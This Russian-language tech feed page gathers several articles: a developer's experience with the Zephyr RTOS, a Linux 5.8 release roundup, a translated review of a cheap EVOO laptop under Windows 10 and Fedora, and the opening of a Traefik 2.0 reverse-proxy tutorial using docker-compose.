В качестве системы сборки Zephyr иcпользует CMake. Поэтому каждое приложение должно иметь CMakeList.txt в качестве точки входа системы сборки. Сборка проекта осуществляется с помощью West. Команды west упрощают настройку приложения. Например, написав программу, собрать её под STM32F746G-Discovery надо командой:


west build b stm32f746g_disco

Не меняя исходный код, программа под NUCLEO-F207ZG собирается командой:


west build b nucleo_f207zg

Подробнее про доступные команды можно узнать, вызвав подсказку:


west --h

image

Для использования определенной версии Zephyr и подключения сторонних модулей используется файл манифеста west.yml.


Запуск Zephyr


Если у вас есть отладочная плата и она поддерживается Zephyr открываем статью Getting Started Guide на официальном сайте и проделываем 8 нехитрых пунктов для вашей ОС. Для выполнения 7 пункта придётся найти файл Kconfig.defconfig и в нём посмотреть название отладки в параметре BOARD.


image

Расположение для STM32F746G-Discovery:
zephyr/boards/arm/stm32f746g_disco/Kconfig.defconfig


И, voila, вы гордый обладатель отладки с мигающим светодиодом.


Если вашей платы нет в списке, то вам открывается дополнительный уровень сложности в игре запусти зефир, где нужно описывать собственную борду, либо пользоваться возможностью эмуляции плат в QEMU.


Что попробовать сделать


Zephyr содержит большую базу примеров с описаниями, где можно посмотреть реализованные в системе возможности вашей отладки.


image

Если ваша плата поддерживает периферию из примера запускайте его. После чего, основываясь на нём, можно собрать свой проект, который будет делать очень важные и полезные вещи или просто радовать глаз, мигая светодиодами.


Отладка


Для отладки приложения я пользовался связкой VSCode + marus25.cortexdebug. В документации приведена инструкция для использования Eclipse в
качестве IDE.


Работа с драйверами


image

Для хранения логов в проекте планировалось реализовать файловую систему на SD-карте. Смотрю в щедро предлагаемые мне системой возможности, но не обнаруживаю там поддержки SD.
Zephyr на момент версии 2.1 умеет работать с SD-картами SDHC от 2 до 32 Гб ёмкости через SPI. Для работы с ними есть примеры, инструкция, всё замечательно. Хорошо, тогда почему же моя отладка не поддерживает работу с SD в Zephyr? Смотрю reference manual на stm32f7 и в разделе SDMMC нахожу строку.


image

Одно из преимуществ Zephyr это активное комьюнити. Гугл в помощь, и вот найдены братья по несчастью, один из которых даже написал свой драйвер работы с SD. Написанный драйвер отлично, но есть нюанс.


image

На рисунке представлена модель драйверов в Zephyr. Для использования конкретной реализации к ней надо обратиться через обобщенный API. Конечная цель работы с SD картой взаимодействовать с ней, как с файловой системой. Такой интерфейс предоставляется через подсистему disk. Директория с этой подсистемой содержит как обобщенный API, так и API, предоставляющие доступ к файловой системе в ОЗУ, во флеше или на SDкартах через SPI. Соответственно, надо добавить сюда свой интерфейс, который будет обращаться к реализации драйвера работы с SD.


Берём готовые реализации интерфейсов, смотрим, как там всё сделано, и пишем что-то подобное. При написании драйверов и интерфейсов рекомендуется использовать язык Си, а также макросы, которые применяются в подобных файлах Zephyr. В конце создания API не забываем вписать о нём информацию в файлы CMakeList.txt и Kconfig, чтобы драйвер можно было собрать и включить в системе. В итоге, на карточку памяти гордо записан текстовый файл с приветствием миру.


Работа с любыми новыми возможностями Zephyr заключается в том, что ты смотришь документацию на них и примеры. Потом пытаешься запустить сэмпл или повторить его. То же самое я пытался проделать и с файловой системой, но столкнулся с отсутствием файлов при сборке проекта. В результате поиска проблемы оказалось, что часть файлов есть в каталоге Zephyr с подсистемами, а часть файлов берётся из стороннего репозитория и подключается в качестве модуля в файле манифеста. Это касается случаев, когда вы сами записываете требуемые модули, а не пользуйтесь готовым файлом со всеми доступными сторонними репозиториями.


Версионирование


В поисках определенной функциональности можно наткнуться на ссылки более старых версий Zephyr, а при переходе в документации на свежий релиз, оказывается, что этого описания уже нет или оно полностью поменяло расположение. При работе возникало ощущение, что авторы сами не до конца понимают, где должен быть тот или иной раздел документации, поэтому он сменяет местоположение от версии к версии.


Бывают и другие досадные моменты. В мажорном обновлении с Zephyr 1.14 до 2.0 сменилась такая незначительная деталь, как спецификация device tree.


image

В итоге поменялся формат статуса в файлах .dts c ok на okay. Вроде бы мелочь, но при создании собственной платы и переходе на другую версию, проект не будет собираться. Поэтому если вы работаете на определенном релизе Zephyr, внимательно следите и за версией документации.




Работа с RTC


В попытках запустить RTC (Real Time Clock) на плате, я находил, что драйвер часов реального времени был, но потом его не стало. Неприятная ситуация. Позже оказалось, что его функциональность осталась, но была переименована и получила интерфейс Counter.


Воспользовавшись примерами, запустить RTC оказалось несложно. И он даже работал. До первого reset-а. А вот потом обнулился, хотя суть часов реального времени и заключается в том, чтобы не сбрасываться во время reset-а. Это могло произойти из-за того, что в отладку нельзя подключить батарейку и проверить работу часов с ней, а в Zephyr всё на самом деле прекрасно работает. Помогла возможность подсмотреть реализацию RTC в HAL. Те драйверы, которые удалось пощупать, были написаны с применением LL. Не найдя чего-то в нужном драйвере, можно узнать реализацию в HAL и дописать это. Выяснилось, что при инициализации часов в системе, сбрасываются регистры RCC. Не делая этого при reset-е можно оставить нетронутыми значения RTC и он будет работать, как и должен.


Вторым найденным недостатком в реализации RTC оказалось отсутствие функций выставления времени и даты. Их можно считать, но каждый раз отсчитывать время от 2000 года оказалось как-то неудобно. Поэтому снова смотрим в HAL, вдохновляемся и добавляем реализацию сеттеров вместе с требуемым интерфейсом.


Выводы


Стоит ли пробовать Zephyr? Кратко да. Zephyr действительно поддерживает много фишек из коробки. Достаточно сделать пару кликов в guiconfig и вот в проекте появляется поддержка UART, SPI, Ethernet. Посмотрел пример, повторил, изменил, оно ещё и работать будет. Возможность не переписывать исходный код при переезде на другую плату тоже подкупает.


Однако, я работал с отладкой, изначально поддерживаемой в системе, и рассказать про процесс самостоятельного описания платы, с какими сложностями можно столкнуться в этом случае, не могу. Что касается встреченных мною трудностей, большинство из них вытекают из того факта, что система новая и поддержка некоторых функций ещё просто не сделана.


Если у вас был опыт работы с Zephyr, поделитесь им в комментариях.

Подробнее..

Грядущий релиз Linux 5.8 миллион строк нового кода и 14 000 изменений

16.06.2020 14:11:48 | Автор: admin

Обычно выпуск новой версии ядра Linux будничная процедура, которая вызывает энтузиазм лишь у тех пользователей, кто ожидает появления определенной функции. Но сейчас, в преддверии релиза Linux 5.8, ситуация несколько иная. За последние несколько недель в сети появилась масса публикаций о новой версии ядра с описанием его возможностей.

Новая версия, несмотря на то, что она еще не вышла, считается релизом с максимальным количеством изменений за всю историю Linux. В коде релиза появилось свыше 1 млн новых строк. Скорее всего, оценить новинку можно будет в ближайшие пару недель Линус Торвальдс выпустит RC1, если не произойдет ничего экстраординарного.

А пока обсудим список изменений.

Так, новое ядро оптимизировано под работу с новейшими процессорами от Intel и AMD, рядом других чипов и модулей, архитектурой ARM. Добавлены сетевые компоненты, появились новые open source драйверы графики AMD Radeon. Кстати, стабильная версия этой ветки ожидается примерно к концу лета началу осени. Именно тогда должны появиться Ubuntu 20.10 и Fedora 33 с поддержкой нового ядра.

В новом ядре есть возможность конфигурировать флеш-массивы на базе MLC в качестве SLC. Развитие получил драйвер Microsoft exFAT, оптимизированы SMB3, EXT4 и Btrfs. Также добавлена поддержка DAX для прямого доступа к энергонезависимой памяти.


Источник

Кроме того, команда Linux добавила следующие нововведения:

  • Поддержка шифрования с использованием Trusted Memory Zones на GPU AMD;
  • Поддержка буферов обмена P2P/DMA между графическими ускорителями (в частности, для свежих AMD);
  • Обновления драйверов AMD, NVIDIA и Intel (включая начальную поддержку Gen12), а также Habana Gaudi;
  • Драйвер AMD Energy наконец-то откроет для доступа сенсоры Zen/Zen 2;
  • Появится поддержка живой миграции с KVM для процессоров AMD;
  • Драйвер CPUFreq получит поддержку boost;
  • Появится поддержка PCIe NTB для Intel Ice Lake Xeon;
  • Реализована начальная поддержка архитектуры POWER10;
  • Уже ставшие традиционными патчи против side-channel уязвимостей для основных архитектур и их оптимизации.

Хорошая новость для сетевых администраторов, инженеров и всех, кто связан с разворачиванием аппаратной инфраструктуры! В новой ветке реализована поддержка тестирования Ethernet-кабелей на программном уровне. Но, чтобы эта возможность работала, нужна и аппаратная поддержка, так что чисто программного ничего нового не вырастет.

Известно, что примерно 40% изменений в новом ядре связано с драйверами, 16% с обновлением кода для различных процессорных архитектур, 10% изменений связаны с сетевым стеком, 3% с файловыми системами.

Общее количество новшеств превысило 14 000, и они затронули примерно 20% файлов в репозитории. Размер патча 5.8-rc1 61 МБ.

А вы ждете новый релиз Linux? Пишите, что думаете об изменениях, в комментариях!
Подробнее..

Перевод Мы купили в Walmart ноутбук за 140, чтобы вам не пришлось этого делать

25.06.2020 10:15:49 | Автор: admin

У EVOO 11.6" EV-C-116-5 больше серьёзных проблем, чем можно было бы подумать, глядя на его слабые характеристики



Пока лучшая особенность самого дешёвого ноутбука в Walmart это его весёленький пурпурный корпус

При взгляде на спецификацию самого дешёвого ноутбука из Walmart, EVOO EV-C-116-5, любому любителю техники сразу станет ясно, что мощным назвать его будет сложно. Однако этот мелкий ноутбук стоит всего $139, а по характеристикам сравним с хромбуками, стоящими по $200-$250. Так что недавно я раскошелился и заказал один из них. Пурпурный.

Для членов редакции Ars Technica очевидно, что EVOO вряд ли станет хорошим выбором на роль ноутбука под Windows. Всего 2 Гб RAM не позволят ему запустить что-либо, не налегая как следует на виртуальную память (обмен данными между оперативной памятью и накопителем). Кроме того, на SSD объёмом 32 Гб просто не поместится Windows, не говоря уже о приложениях. Сразу, как только EVOO попытается обновиться до новой версии Windows 10 (к примеру, Windows 10 build 2004, вышедшей в прошлом месяце), он не сможет сделать этого из-за нехватки места.

Это, конечно, не означает, что он совсем бесполезен. Возможно, на него можно поставить Linux даже наиболее тяжёлые варианты вроде Ubuntu требуют гораздо меньше памяти и объёма накопителя, чем Windows. А может быть, и предположение о том, что ноутбук с 2 ГиБ RAM, 32 Гб SSD не сможет запустить Windows, было неправильно. Выяснить это можно было только на практике.

Спецификации


Модель EVOO EV-C-116-5
OS Windows 10 Home (S mode)
CPU dual-core AMD A4-9120
RAM 2 Гб DDR4
GPU integrated Radeon R3
Wi-Fi Realtek RTL873B2.4GHz only, 802.11n + Bluetooth
SSD Foresee 32 Гб (29.8GiB) eMMC
Battery 4500 mAH @ 7.6V (34.2WH)
Display 11.6" 1080p
Разъёмы Слева:
  • Barrel DC jack
  • USB3 type A
  • HDMI out

Справа:
  • 3.5mm headset jack
  • USB2 type A
  • MicroSD slot

Цена $139 в Walmart


Первое, что должен знать потенциальный покупатель о таких дешёвых ноутбуках 32 Гб совершенно недостаточно для того, чтобы нормально запускать Windows 10. Второе, что он должен знать что эта цифра, к сожалению, означает именно то, что он думает. Если там написано Гб, то это и есть Гб.

Windows измеряет объём накопителя в ГиБ, а не Гб а 32 Гб равняется 29,8 ГиБ, из которых 1 ГиБ забирает директория восстановления, 3 ГиБ файл подкачки, а несколько сотен МиБ уходят на файл гибернации и своп.

Если вам интересно, почему там есть и файл подкачки, и своп это всё из-за приложений UWP. Они, и только они используют своп вместо подкачки, чтобы, среди прочего, кэшироваться и быстро открываться после перезагрузки.

2 ГиБ памяти это тоже преступно мало. Даже в режиме S при первой загрузке у системы оставалось 300 МиБ свободных. Получается, что под кэширование ОС памяти практически не останется, и система будет постоянно дёргать файл подкачки.

Единственный, казалось бы, компонент, подходящий для этой машины AMD A4-9120 CPU тоже не без проблем. Обычно A4-9120 был бы прекрасным выбором для бюджетного ноутбука или нетбука, и уверенно соревновался бы с конкурентом Intel Celeron. К сожалению, EV-C-116-5 никак не назовёшь обычным и тут A4-9120 не может показать всё, на что способен.

Первые впечатления











Неожиданно приятная клавиатура для такой небольшой и дешёвой системы. За исключением необъяснимого случайного переезда обратного слэша, который наверняка выбесит пользователей как Windows, так и Linux

Мне, конечно, не стоило ожидать многого от дохлого EVOO в качестве машины для Windows, однако мне очень хотелось, чтобы этот маленький ноутбук мне понравился. Его яркий пластиковый корпус красивый, но скромный. Я надеялся, что он станет хорошей альтернативной Chromebook для пользователей Linux.

Дисплей у EVOO FHD 1080p, а не типичный для многих дешёвых ноутбуков 1366768. Это большой плюс для опытные пользователей, которым требуется больше экранного пространства. К сожалению, те же самые опытные пользователи захотят выкинуть этот ноут из окна из-за очень странного решения по перемещению клавиши обратного слэша. В EVOO решили, что обратный слэш, обычно живущий над клавишей Enter, лучше будет впихнуть между правыми Alt и Ctrl.

Для работы в Windows переезд этой клавиши таит в себе проблему ведь обратный слэш разделяет там директории в пути. Это проблема и для Linux, где обратный слэш это экранирующий символ, отменяющий особые свойства символов. К примеру, команда cp \!folder /tmp/ копирует директорию по имени !folder, поскольку иначе bash посчитает знак! особым символом.

Ещё одна проблема отсутствие трафаретной печати на боковых разъёмах ноутбука. Серые барельефные пометки нс сером фоне при обычном освещении практически невозможно рассмотреть. Запустив ноутбук в первый раз, я наивно воткнул зарядник в разъём для наушников, и он туда отлично вошёл. Разобрался я в этом только после того, как начал выяснять, почему он не заряжается.

USB-разъёмы были очень тугими. Чтобы вставить мышь или флэшку, мне пришлось как следует поработать обеими руками. Как и для того, чтобы их потом вынуть.

Пластик корпуса необычно мягкий. При этом он довольно толстый, а сам ноутбук небольшой и лёгкий, поэтому система не кажется хлипкой. Однако мягкий пластик плохо сопротивляется царапинам, из-за чего с упрямыми USB-разъёмами совладать ещё труднее.

Windows 10 на EVOO



Внутренний WiFi на самом деле дешёвое USB-устройство от Realtek


В режиме S нормально ничего не потестируешь он ограничивает нас только тем, что есть в магазине приложений


К счастью, в магазине приложений есть приложение, отключающее режим S.

Первое, что я заметил при изучении установленной Windows это что внутренний WiFi на самом деле является дешёвым USB 2.0-устройством от Realtek, работающим только на 2.4 ГГц и 802.11n. Второе, что я заметил что я не мог ничего устанавливать из-за режима S.

Если вы с ним не знакомы, то режим S ограничивает систему только использованием браузера Edge и тех приложений, что имеются в Microsoft Store. Многих пользователей он сбивает с толку, и они только зря покупают себе новую копию Windows, чтобы избавиться от него.

К счастью, если в окне с предупреждением о включённом S-режиме, которое выскакивает при попытке загрузить стороннее приложение, нажать ссылочку узнать больше, то можно добраться до бесплатного приложения из Microsoft Store, отключающего этот режим. С первой попытки это приложение у меня упало. Но со второй оно смогло отключить режим S, и я остался с нормальной установкой Windows.







После первой загрузки, когда ещё ничего не изменилось и не установилось, а проверки Windows Update не запускались, у нас остаётся 11,4 ГиБ свободного места. Это, очевидно, вызовет у нас проблемы, поэтому я установил программу Windirstat, чтобы она вывела мне диаграмму, по которой можно было бы понять, куда девается место.

Самая крупная директория это сама Windows, а самые крупные отдельные файлы файл подкачки, своп, файл гибернации и usmt.ppkg, файл для восстановления заводских настроек. При первом запуске этой программы файл подкачки занимал 1,1 ГиБ однако вскоре он разрастётся до максимальных 3 ГиБ.

Обычно я просто сразу запретил бы использование файла подкачки мне нет дела до снимков памяти при падении системы, и мне не нужно, чтобы система гоняла данные в виртуальную память и обратно. Я обычно стараюсь удерживать приложения внутри доступной физической памяти.

Однако EVOO пытается запустить Windows 10 всего с 2 ГиБ этот файл подкачки ей очень сильно необходим. Я бы не стал удалять или уменьшать размер этого файла в таких экстремальных условиях.

Resource monitor показывает только 324 МиБ свободных, в простое, без других запущенных приложений. И даже эти 324 МиБ на самом деле не свободны это кэш файловой системы.

Для открытия программ, создания документов, да практически для чего угодно на этой системе понадобится сбросить на диск те крохи, которые достались кэшу файловой системы. А 32GB Foresee eMMC SSD никак не назовёшь скоростным, поэтому потеря кэша будет очень болезненной.

Система настолько ограничена по памяти и объёму накопителя, что когда я установил PCMark10 чтобы провести тест батареи Modern Office, я изменил обычной своей рутине. Я обычно копирую установочный файл с флэшки на C:, и потом запускаю. Однако поскольку этот файл весит 3,56 ГиБ, я решил на этот раз запустить его прямо с флэшки.

Проверка батареи


С проверкой батареи у меня возникли неожиданные проблемы. Я, как обычно, отключил питание от сети сразу после того, как нажал кнопку запустить тест. Однако бедняжка EVOO так сильно трудился над тем, чтобы запустить этот тест, что к тому времени, как тот разработал, ноутбук уже потерял 20% заряда.

В итоге тест пожаловался, что ему для запуска нужно не менее 80% от батареи. Поэтому я больше ничего не нажимал, а просто подключил питание обратно и подождал пару часов, пока заряд не дошёл почти до 100%. После этого я запустил тест на ночь.

По моему опыту, система либо уходит в гибернацию, либо в спящий режим, после того, как аккумулятор садится слишком сильно. А после подключения питания и включения компьютера я вижу результаты закончившегося теста PCMark. Но с EVOO такого не получилось он либо выключился, либо просто упал. К счастью, PCMark восстановилась нормально, и при следующем запуске показала мне результаты предыдущего теста.

5,5 часов, набранных EVOO не такой уж великолепный результат. Сегодня мы уже привыкли к 9-11 часам автономной работы. Но это было лучше, чем я ожидал.

Тестирование быстродействия


На таком ноутбуке невозможно было получить осмысленные результаты тестов на скорость, поскольку он слишком глючный и медленный для того, чтобы на нём эти тести надёжно отработали. Однако такая ерунда меня не остановила я с трудом продирался сквозь тесты и получал результаты там, где только мог.

Первый пакет программ для тестирования быстродействия, PCMark 10, выдал нулевой результат. Я даже не знал, что такой результат вообще возможен. Оказывается, и такое бывает.

Затем пришла очередь Passmark. Хотя это довольно мягкий тест, он многократно падал и отказывался работать. Когда он, наконец, закончил, результат был аномально низким. В среднем результат CPUMark для A4-9120 находится в районе 1255 для многопоточного теста и 1064 для однопоточного. Но этот малыш EVOO показал всего лишь 639/494 примерно в два раза меньше ожидаемого.

Мы отнесли аномально низкое значение Passmark на счёт отвратительно плохого железа и перешли к Cinebench R20. Прохождение этого теста тоже заняло несколько попыток, и в итоге он выдал потрясающе низкий результат, 118. Во время прогона Cinebench мы запускали Resource Monitor, чтобы проверить использование файла подкачки, и, естественно, система гоняла его просто в хвост и гриву во время рендеринга.

Мы решили, что получить осмысленные результаты тут нельзя. На обычной системе тесты Cinebench и Passmark работают только с CPU. Но когда машина мучает файл подкачки и еле-еле двигается, совершенно непонятно, какое из потенциальных узких мест тормозит систему больше всего.

Обновление Windows








При объёме нашего SSD в 29,8 ГиБ минус пару ГиБ на восстановление раздела, минус 3 ГиБ на файл подкачки, и ещё один ГиБ на файл восстановления, и так жале, и тому подобное мне сразу было понятно, что при долгосрочном использовании EVOO Windows Updates станет проблемой.

Закончив со всеми тестами, я удалил все приложения включая Windirstat весом 1 МиБ. Затем я удалил содержимое C:\Windows\Temp, директорию Temp в Appdata моей учётной записи, и срезал всякий другой жирок, как обычно.

Сделав всё это, я убедился, что на компьютере установлена старая версия Windows 10 build 1903 от марта 2019 года, и начал обновление до версии 2004, от апреля 2020. Windows 10 ни в какую не хотела обновляться подавай ей не менее 8 ГиБ на диске C:, а я даже до 6 ГиБ не смог расчистить там место, и это всего после одного дня использования системы.

Достаточно целеустремлённый человек мог бы скормить машине флэшку на 32 ГиБ или переносной SSD с USB, что позволило бы программе обновления сбросить все свои временные файлы туда. Но к тому моменту я уже не был достаточно целеустремлён. Было очевидно, что из этой машины приличная система для Windows не получится, и мне уже хотелось посмотреть, сможет ли её реабилитировать более эффективная ОС Linux.

Спасёт ли нас Fedora 32?






Я никогда не пытался запускать Windows 10 на машине, где было бы всё настолько плохо с железом однако много лет и с большим успехом я запускал на похожих системах Linux. Моим первым Chromebook был Acer C720P и на нём шла Ubuntu вплоть до 16.04, даже с полноценным рабочим столом Unity, а не с облегченными вариантами типа XFCE и LXDE. У меня есть небольшой парк новых Samsung Chromebook 3, на которых работает версия Ubuntu, GalliumOS, и они тоже достаточно неплохо себя ведут.

Как и у EVOO, у моего старого Acer C720P было всего 2 ядра, 2 ГиБ памяти и 32 ГиБ SSD. По документам новый EVOO должен был просто размазать его по стенке у A4-9120 быстродействие в многопоточном и однопоточном режиме должно быть почти в два раза больше, чем у старого Celeron 2955U, а его память на 2 ГиБ это DDR4, а не DDR3.

К сожалению, все эти теоретически превосходящие характеристики в реальности не сработали. Под управлением Fedora 32 выбранной из-за ультрамодного ядра и легковесного менеджера Wayland EVOO невероятно тормозил и спотыкался.

Честно говоря, Fedora на этом ноутбуке работала ощутимо быстрее, чем Windows 10, однако это просто была очень, очень низкая планка.

У ноутбука иногда уходило аж 12 секунд на запуск Firefox. Просмотр страниц был не лучше постоянно возникали паузы по непонятным причинам. Оболочка тоже прорисовывалась с трудом при значительно меньшем использовании памяти, чем Windows, в этом нельзя было винить использование свопа.

Я даже на время отключил своп командой swapoff a. Это не улучшило ситуацию а когда я попытался запустить fio с отключённым свопом, я словил ошибку не хватает памяти.

In fact, for a little while I turned swap off entirely, with the command swapoff -a. This didn't noticeably improve performanceand trying to run fio with swap disabled invoked the dreaded oom-killer, so I gave up and enabled it again.

Тестирование Foresee 32GB eMMC при помощи fio дало следующие результаты: случайная запись 1 МиБ со скоростью 92.8 МиБ/с, 4 КиБ со скоростью 2.6 МиБ/с, и 4 КиБ синхронной записи 0.16 мс в среднем / 116 мс 99.99 процентилей. Большая часть показателей сравнима с 64 ГиБ eMMC в нашем ноутбуке Pinebook Pro за $200 однако задержка в 99,99 просто ужасная. Показатель Pinebook составляет 2.4 мс против 116 мс от EVOO.

Из-за таких плохих характеристик железа сложно сказать наверняка, однако я подозреваю, что такая большая задержка у EVOO происходит тогда, когда нужно дёрнуть своп в середине теста fio.

eMMC в EVOO недостаточно плох для того, чтобы объяснить, почему мой древний Acer C720P с Celeron и новый Pinebook Pro с ARM настолько лучше ведут себя с десктопной версией Linux. И тогда я решил, что настало время для исследовательской хирургии.

Копаемся в кишочках










Я решил, что пришло время взглянуть на внутренности EVOO EV-C-116-5, поэтому я достал свой набор маленьких отвёрток и перевернул ноутбук. Я увидел 11 винтиков с головками Phillips, достаточно равномерно разбросанных по нижней части корпуса. Его оказалось достаточно легко разобрать. Но для этого у вас должен быть набор ювелирных инструментов или специальных отвёрток для техники.

Удалив 11 винтиков, я повернул корпус петлями к себе, и аккуратно вскрыл корпус при помощи специального инструмента. По периметру были расположены несколько защёлок, которым потребовалось лёгкое убеждение, однако я определённо видал корпуса и посложнее. Пока всё норм.

Следующий шаг после вскрытия отключить батарею и отложить её. После этого я получил ответы на несколько вопросов например, я не слышал работы вентилятора потому, что тут не было вентилятора, а CPU так ужасно себя вёл потому, что никакой CPU не смог бы справиться лучше, поджариваясь в собственном соку.













Здесь не только нет никакого активного охлаждения, здесь практически нет и пассивного охлаждения. CPU накрыт тонким медным листиком, толщиной примерно с дешёвую визитку. И этот листик не соединён ни с каким радиатором большего размера.

Корпус ноутбука сделан из толстого пластика, поэтому тепло и тут не уходит. Единственные отверстия для вентиляции расположены снизу, а до стола остаётся пара миллиметров это если ноутбук стоит на чистой и твёрдой поверхности.

Наконец, прояснилась разница в быстродействии этого ноутбука и дешёвых Chromebook. У последних есть системы активного охлаждения, и поэтому их CPU работают на максимальной скорости. Этот ноутбук ковыляет так быстро, как это возможно, чтобы он не сдох окончательно, с трудом отводя тепло, которому некуда деваться.

У моего Pinebook Pro с пассивным охлаждением всё гораздо лучше. Хотя у него тоже нет вентилятора, его тепло отводится напрямую на каркас из магниевого сплава, что даёт системе возможность остывать до температуры окружающей среды.

Сначала я ошибочно предположил, что A4-9120 просто постоянно понижает тактовую частоту из-за перегрева. Однако собрав его снова и загрузив Fedora, я обнаружил реальный ответ чип, который в нормальном состоянии должен работать на 2,5 ГГц, задушили до анемичных 1,5 ГГц. BIOS подтверждает этот факт, но не даёт возможности исправить ситуацию что неприятно, поскольку в моих тестах система никогда не разогревалась до температур выше 62C.

С одной стороны, приятно видеть в системе ограничения, связанные с безопасностью. С другой стороны, она не может себе позволить расставаться хоть с каким-то быстродействием. Несколько сотен МГц могли бы помочь исправить ситуацию или же ноутбук просто перегрелся бы и умер в машине в жаркий день.

Хотя у A4-9120 указан показатель TDP в промежутке от 15 Вт до 10 Вт, я не смог найти других примеров такого сильного понижения быстродействия.

Для чего он подойдёт?


Сначала рассмотрим реальную целевую аудиторию этого ноутбука: покупатели без технических наклонностей, желающих купить недорогой и нормальный ноутбук для того, чтобы запускать на нём Windows и приложения для Windows. Этой аудитории данный ноутбук не подходит и точка. У него нет ни памяти, ни объёма накопителя для того, чтобы хоть как-то годиться для решения простейших задач, которыми нормальные люди занимаются под Windows даже когда система ограничена режимом S. У ноутбука в комплекте идёт годовая подписка на Office 365 однако он с трудом запускает саму Windows, не говоря уже об офисных программах.

Типичный потребитель, желающий получить нормальный ноутбук за $200, почти всегда выиграет, если купит что-нибудь б/у с рук, чем если он приобретёт EV-C-116-5. В 2017 году я купил б/у ноутбук Fujitsu Lifebook 2013 года на i3-3217U за $140, и он показывал в два раза лучшие результаты на тестах CPU, чем этот EVOO. А также у него было в 2 раза больше памяти и в два раза больший объём SSD.

Получается, что типичный потребитель пролетает но что насчёт гиков? Лично я использую слабые ноутбуки под Linux для различных проектов развлечения в самолёте, резервный ноутбук для презентаций на конференциях, а также у меня есть небольшой парк таких ноутбуков для тестирования WiFi. Я очень надеялся, что EVOO сможет выступать в такой роли.

Хотя стандартный Chromebook неплохо справляется с ролью дешёвой машины для Linux, с ними для этого приходится повозиться. Если не разобрать их не не поменять зашитые в железе ограничения, позволяющие устанавливать систему, иногда они забывают, как загружаться в Linux. И в таком случае у вас на руках может оказаться рабочая ChromeOS. Чтобы вернуться к нормальной ОС в таких случаях, требуется пара часов времени.

Мне бы очень хотелось, чтобы этот ноутбук EVOO заполнил эту нишу и освободил меня от необходимости сражаться с железячной экосистемой ChromeOS. К сожалению, это устройство слишком дохлое, чтобы на это можно было рассчитывать. И это ещё не считая странного расположения клавиш и анемичного внутреннего WiFi на USB2, который поддерживает только 802.11n на 2.4GHz.

Возможно, и есть такая цель, для которой этот ноутбук хорошо подойдёт но я ни за какие коврижки не могу придумать, что это может быть.
Подробнее..
Категории: Linux , Windows , Ноутбуки , Evoo , Нетбук , Chromebook

Из песочницы Введение в Traefik 2.0

28.06.2020 22:13:05 | Автор: admin

Traefik это обратный прокси-сервер с открытым исходным кодом, обеспечивающий простую работу с микросервисами и/или просто контейнерами с вашими приложениями.


Обратный прокси-сервер (reverse proxy, реверс-прокси) служит для ретрансляции запросов из внешней сети к каким-либо серверам/сервисам внутренней сети (например веб-сервера, БД или файловые хранилища) и позволяет:


  • обеспечить сокрытие структуры внутренней сети и подробностей о находящейся в ней сервисах;
  • осуществлять балансировку нагрузки (load balancing) между экземплярами одного и того же сервиса или серверами с одинаковыми задачами;
  • обеспечить зашифрованное (HTTPS) соединение между клиентом и любым сервисом, в таком случае SSL сессия создается между клиентом и прокси, а между прокси и сервисом во внутренней сети устанавливается незашифрованное HTTP соединение, если сервис поддерживает HTTPS то можно организовать зашифрованное соединение и во внутренней сети;
  • организовать контроль доступа к сервисам (аутентификацию клиента), а также установить файрвол (брандмауэр).

В статье будет описываться использование Traefik в Docker в качестве реверс-прокси для других контейнеров Docker, а также не контейнеризированных сервисов.


image


Введение


Traefik позиционируется разработчиками как Edge Router, то есть можно направить его непосредственно в глобальную сеть одной стороной и во внутреннюю другой. Если у читателя создалось впечатление что таким образом создается единая точка отказа всей системы, то так и есть, но есть несколько моментов: во-первых, Traefik имеет развитый функционал для автоматического восстановления при сбоях; во-вторых, существует Traefik EE платная версия, в которой помимо прочих преимуществ имеется HA (Hight Availability, Высокая доступность), что подразумевает распределение нагрузки между несколькими экземплярами сервиса (узлами), таким образом при отказе одного его задачи перераспределяются на другие узлы, а отказавший узел отключается и затем немедленно вводится обратно в эксплуатацию. В качестве примечания отметим, что в статье будет рассматриваться бесплатная версия Traefik.


Одним из основных достоинств Traefik является возможность изменения его конфигурации без приостановки работы (на лету) при применении любого и поддерживаемых бэкэндов, называемых провайдерами.


Список основных провайдеров:


  • Docker
  • Kubernetes
  • Consul Catalog
  • Marathon
  • Rancher
  • File

В рамках этой статьи будут рассмотрены первый и последний провайдеры из этого списка.
Вероятно, не знакомому с темой читателю будет не понятно, чем является провайдер с именем File, это некоторый файл (или папка с файлами), в котором описана конфигурация какого-либо сервиса, не связанного с другими провайдерами, но который должен быть скрыт за реверс-прокси. Остальные же провайдеры являются различными системами оркестрации контейнеров.


Файл конфигурации Traefik, а также файлы для провайдера File могут быть написаны на TOML либо YAML, в статье будут приведены примеры на YAML так как этот синтаксис больше нравится автору, а какой-либо функциональной разницы между ними нет, а также не составляет трудности переписать файлы на другой формат конфигурации. Traefik будет развернут в Docker. Для развертывания будет использоваться docker-compose, для обеспечения простоты повторного развертывания.


*В статье будут приведены команды для ОС Linux.


Деплой Traefik


Предполагается что у читателя установлены и настроены docker и docker-compose, их установка выходит за рамки этой статьи.


Создадим в домашней папке пользователя папку traefik, в которой будем хранить всю конфигурацию, и перейдем в эту папку


mkdir ~/traefikcd ~/traefik

Для развертывания (деплоя) Traefik создадим файл docker-compose.yml и отредактируем его в любом удобном вам редакторе. Для начала этот файл будет иметь следующий вид:


version: '3'services:  traefik:    image: traefik:v2.2    container_name: traefik    restart: unless-stopped    security_opt:      - no-new-privileges:true    ports:      - 80:80      - 443:443     volumes:      - /etc/localtime:/etc/localtime:ro      - /var/run/docker.sock:/var/run/docker.sock:ro      - ./data/traefik.yml:/traefik.yml:ro

Во внешний мир будут смотреть порты 80 и 443 для HTTP и HTTPS соответственно. Также пробросим в контейнер сокет демона Docker для работы механизма автоматической конфигурации. Конфигурацию Traefik будем описывать в файле traefik.yml находящемся в папке data в текущей директории.


Если для разделения внешней и внутренней сетей используются networks Docker-а, то Traefik должен иметь доступ к внешней сети и ко всем внутренним в которых находятся целевые сервисы.

Создадим и будем постепенно наполнять этот файл.


Для начала опишем точки входа в наш прокси (те самые порты, которые смотрят во внешний мир):


entryPoints:  http:    address: ":80"  https:    address: ":443"

Здесь http и https это просто названия (могут быть любыми, хоть a и b) и были выбраны так для удобства.


Теперь добавим первого провайдера Docker, это делается следующим образом:


providers:  docker:    endpoint: "unix:///var/run/docker.sock"    exposedByDefault: false

Параметром указываем что Traefik не должен брать все контейнеры подряд, далее будет объяснено каким образом мы будем сообщать какие контейнеры нас интересуют. Также здесь видно зачем мы пробрасывали сокет в контейнер именно через него Traefik будет получать сведения о запускаемых контейнерах на этом хосте (можно подключиться и к демону на другом хосте).


